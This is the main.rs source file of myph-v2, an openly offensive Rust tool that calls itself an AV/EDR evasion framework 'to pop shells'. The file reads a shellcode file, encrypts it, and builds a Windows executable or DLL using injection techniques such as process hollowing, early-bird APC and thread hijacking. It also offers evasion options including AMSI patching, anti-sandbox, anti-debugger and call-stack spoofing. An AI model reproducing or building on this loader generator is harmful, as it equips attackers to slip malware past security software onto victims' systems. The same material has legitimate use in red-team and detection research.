myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
main.rs (10814B)
1 //! myph-v2: Modern Rust-based shellcode loader generator 2 //! 3 //! This is the main entry point for the myph-v2 application. It orchestrates 4 //! the entire process of generating evasive Windows executables and DLLs from 5 //! raw shellcode. 6 //! 7 //! # Workflow 8 //! 9 //! 1. Parse command-line options and auto-generate encryption key if needed 10 //! 2. Read and validate the shellcode file 11 //! 3. Setup temporary build environment 12 //! 4. Display configuration summary to user 13 //! 5. Generate a temporary Rust project with encrypted shellcode 14 //! 6. Build the project in release mode with optimizations 15 //! 7. Copy the final binary to the output location 16 //! 17 //! # Error Handling 18 //! 19 //! All errors are propagated through the `run()` function using the `?` operator 20 //! and handled centrally in `main()` for consistent error reporting. 21 22 mod cli; 23 mod encryption; 24 mod env_setup; 25 mod evasion; 26 mod file_ops; 27 #[allow(dead_code)] 28 mod internals; 29 30 use cli::Options; 31 use std::env; 32 use std::io; 33 use std::process; 34 35 #[cfg(test)] 36 use std::sync::Mutex; 37 38 #[cfg(test)] 39 // Global mutex to serialize tests that change working directory across all test modules 40 static TEST_DIR_MUTEX: Mutex<()> = Mutex::new(()); 41 42 const ASCII_ART: &str = r#" 43 ... -==[ M Y P H ]==- 44 ;::::; 45 ;::::; :; In loving memory of 46 ;:::::' :; Wassyl Iaroslavovytch Slipak 47 ;:::::; ;. 48 ,:::::' ; OOO (1974 - 2016) 49 ::::::; ; OOOOO 50 ;:::::; ; OOOOOOOO 51 ,;::::::; ;' / OOOOOOO v2.1.2 52 ;::::::::: . ,,,;. / / DOOOOOO 53 .';:::::::::::::::::;, / / DOOOO 54 ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework 55 ; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and 56 : ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry 57 :: ::::::: ;:::::::: ;::::# / DOO 58 : ::::::: ;:::::: ;::::::#/ DOO 59 ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn 60 :::: ::::::: ;::::::::;:::# OO ------ 61 ::::: ::::::::::::;' :;::# O https://djnn.sh 62 ::::: ::::::::; / / :# 63 :::::: :::::; / / # 64 65 66 "#; 67 68 fn display_banner() { 69 println!("{}", ASCII_ART); 70 } 71 72 fn display_supported(feature_name: &str, is_supported: bool) { 73 println!( 74 " • {} : {}", 75 feature_name, 76 if is_supported { 77 "✓ Enabled" 78 } else { 79 "✗ Disabled" 80 } 81 ); 82 } 83 84 fn technique_name_from_enum(technique: &cli::Technique) -> &'static str { 85 match technique { 86 cli::Technique::CRT => "crt", 87 cli::Technique::CRTx => "crtx", 88 cli::Technique::CreateFiber => "create-fiber", 89 cli::Technique::ProcessHollowing => "process-hollowing", 90 cli::Technique::CreateThread => "create-thread", 91 cli::Technique::NtCreateThreadEx => "nt-create-thread-ex", 92 cli::Technique::Syscall => "syscall", 93 cli::Technique::Etwp => "etwp", 94 cli::Technique::SetTimer => "set-timer", 95 cli::Technique::EnumCalendar => "enum-calendar", 96 cli::Technique::EnumWindows => "enum-windows", 97 cli::Technique::EnumSystemLocales => "enum-system-locales", 98 cli::Technique::ImageGetDigestStream => "image-get-digest-stream", 99 cli::Technique::QueueUserAPC => "queue-user-apc", 100 cli::Technique::FairyLaw => "fairy-law", 101 cli::Technique::ModuleStomping => "module-stomping", 102 cli::Technique::ThreadHijacking => "thread-hijacking", 103 cli::Technique::EarlyBird => "early-bird", 104 } 105 } 106 107 fn validate_technique_compatibility(opts: &Options) -> io::Result<()> { 108 let technique_name = technique_name_from_enum(&opts.technique); 109 let has_process_param = opts.process != "cmd.exe"; 110 111 match internals::templates::techniques::validation::TechniqueValidator::validate( 112 technique_name, 113 opts.with_dynamic_function_resolver, 114 has_process_param, 115 ) { 116 Ok(()) => Ok(()), 117 Err(errors) => { 118 eprintln!("\n[!] Technique compatibility validation failed:\n"); 119 for error in &errors { 120 eprintln!(" [!] {}", error.message); 121 if let Some(suggestion) = &error.suggestion { 122 eprintln!(" [+] Suggestion: {}", suggestion); 123 } 124 eprintln!(); 125 } 126 Err(io::Error::other("Technique compatibility check failed")) 127 } 128 } 129 } 130 131 fn handle_compatibility_check(opts: &Options) -> io::Result<()> { 132 let technique_name = technique_name_from_enum(&opts.technique); 133 134 println!("\n╭─────────────────────────────────────────────╮"); 135 println!("│ Technique Compatibility Check │"); 136 println!("╰─────────────────────────────────────────────╯\n"); 137 138 if let Some(info) = 139 internals::templates::techniques::validation::TechniqueValidator::display_technique_info( 140 technique_name, 141 ) 142 { 143 println!("{}", info); 144 } else { 145 eprintln!("✗ Unknown technique: {}", technique_name); 146 return Err(io::Error::other("Unknown technique")); 147 } 148 149 let has_process_param = opts.process != "cmd.exe"; 150 match internals::templates::techniques::validation::TechniqueValidator::validate( 151 technique_name, 152 opts.with_dynamic_function_resolver, 153 has_process_param, 154 ) { 155 Ok(()) => { 156 println!("\n[+] All compatibility checks passed!"); 157 println!("[+] This technique is compatible with the selected features."); 158 } 159 Err(errors) => { 160 println!("\n[!] Compatibility issues found:\n"); 161 for error in &errors { 162 println!(" [!] {}", error.message); 163 if let Some(suggestion) = &error.suggestion { 164 println!(" [+] {}", suggestion); 165 } 166 println!(); 167 } 168 } 169 } 170 171 Ok(()) 172 } 173 174 fn display_configuration(opts: &Options) { 175 println!("\n╭─────────────────────────────────────────────╮"); 176 println!("│ Configuration Summary │"); 177 println!("╰─────────────────────────────────────────────╯"); 178 println!(); 179 180 let encryption_key = opts 181 .key 182 .as_ref() 183 .expect("Encryption key should have been auto-generated"); 184 185 println!(" [+] Encryption : {:?}", opts.encryption); 186 println!(" [+] Key : {}", encryption_key); 187 println!(" [+] Technique : {:?}", opts.technique); 188 println!(" [+] Target Process: {}", opts.process); 189 println!(" [+] Binary Format : {:?}", opts.binary_format); 190 println!(" [+] Output File : {}", opts.out); 191 println!(); 192 193 println!(" [+] Evasion Features:"); 194 display_supported("API Hammering", opts.with_api_hammering); 195 display_supported("AMSI Patching", opts.with_amsi_patch); 196 display_supported("String Encryption", opts.with_string_encryption); 197 display_supported( 198 "Dynamic Function Resolver", 199 opts.with_dynamic_function_resolver, 200 ); 201 display_supported("Anti-VM Detection", opts.with_anti_vm); 202 display_supported("Anti-Sandbox Detection", opts.with_anti_sandbox); 203 display_supported("Anti-Debugger Detection", opts.with_anti_debugger); 204 display_supported("Call Stack Spoofing", opts.with_callstack_spoofing); 205 println!(); 206 } 207 208 fn run() -> io::Result<()> { 209 display_banner(); 210 211 let opts = Options::parse_and_generate(); 212 213 // Handle --check-compatibility flag 214 if opts.check_compatibility { 215 return handle_compatibility_check(&opts); 216 } 217 218 // Validate technique compatibility before building 219 validate_technique_compatibility(&opts)?; 220 221 if matches!(opts.technique, cli::Technique::FairyLaw) { 222 eprintln!("\n[!] This technique requires Administrator privileges and system restart after it has run.\n"); 223 } 224 225 let original_cwd = env::current_dir() 226 .map_err(|e| io::Error::other(format!("Failed to get current working directory: {}", e)))?; 227 228 let shellcode_data = file_ops::read_file_bytes(&opts.shellcode).map_err(|e| { 229 io::Error::other(format!( 230 "Failed to read shellcode file '{}': {}", 231 opts.shellcode, e 232 )) 233 })?; 234 235 println!( 236 "✓ Shellcode file read successfully: {} bytes", 237 shellcode_data.len() 238 ); 239 240 let _temp_dir = env_setup::setup_environment() 241 .map_err(|e| io::Error::other(format!("Failed to setup environment: {}", e)))?; 242 243 display_configuration(&opts); 244 245 let encryption_key = opts.key.as_ref().expect( 246 "Encryption key should have been auto-generated if not provided by Options::parse_and_generate()", 247 ); 248 249 if opts.low_resources { 250 println!(" [!] Low-resource mode enabled:"); 251 println!(" • Using thin LTO instead of full LTO"); 252 println!(" • Using 16 codegen units instead of 1"); 253 println!(" • Limiting parallel jobs to 2"); 254 println!(" • Binary will be slightly larger (~10-30%)"); 255 println!(); 256 } 257 258 let build_env = internals::BuildEnv::new() 259 .with_project_name("temp_project") 260 .with_output_name(&opts.out) 261 .with_original_cwd(&original_cwd) 262 .with_shellcode(&shellcode_data) 263 .with_binary_format(&opts.binary_format) 264 .with_encryption(&opts.encryption, encryption_key) 265 .with_technique(&opts.technique) 266 .with_process(&opts.process) 267 .with_api_hammering(opts.with_api_hammering) 268 .with_amsi_patch(opts.with_amsi_patch) 269 .with_string_encryption(opts.with_string_encryption) 270 .with_dynamic_function_resolver(opts.with_dynamic_function_resolver) 271 .with_anti_vm(opts.with_anti_vm) 272 .with_anti_sandbox(opts.with_anti_sandbox) 273 .with_anti_debugger(opts.with_anti_debugger) 274 .with_callstack_spoofing(opts.with_callstack_spoofing) 275 .with_low_resources(opts.low_resources); 276 277 build_env 278 .build() 279 .map_err(|e| io::Error::other(format!("Failed to build project: {}", e)))?; 280 281 Ok(()) 282 } 283 284 fn main() { 285 if let Err(e) = run() { 286 eprintln!("\n✗ Error: {}", e); 287 process::exit(1); 288 } 289 }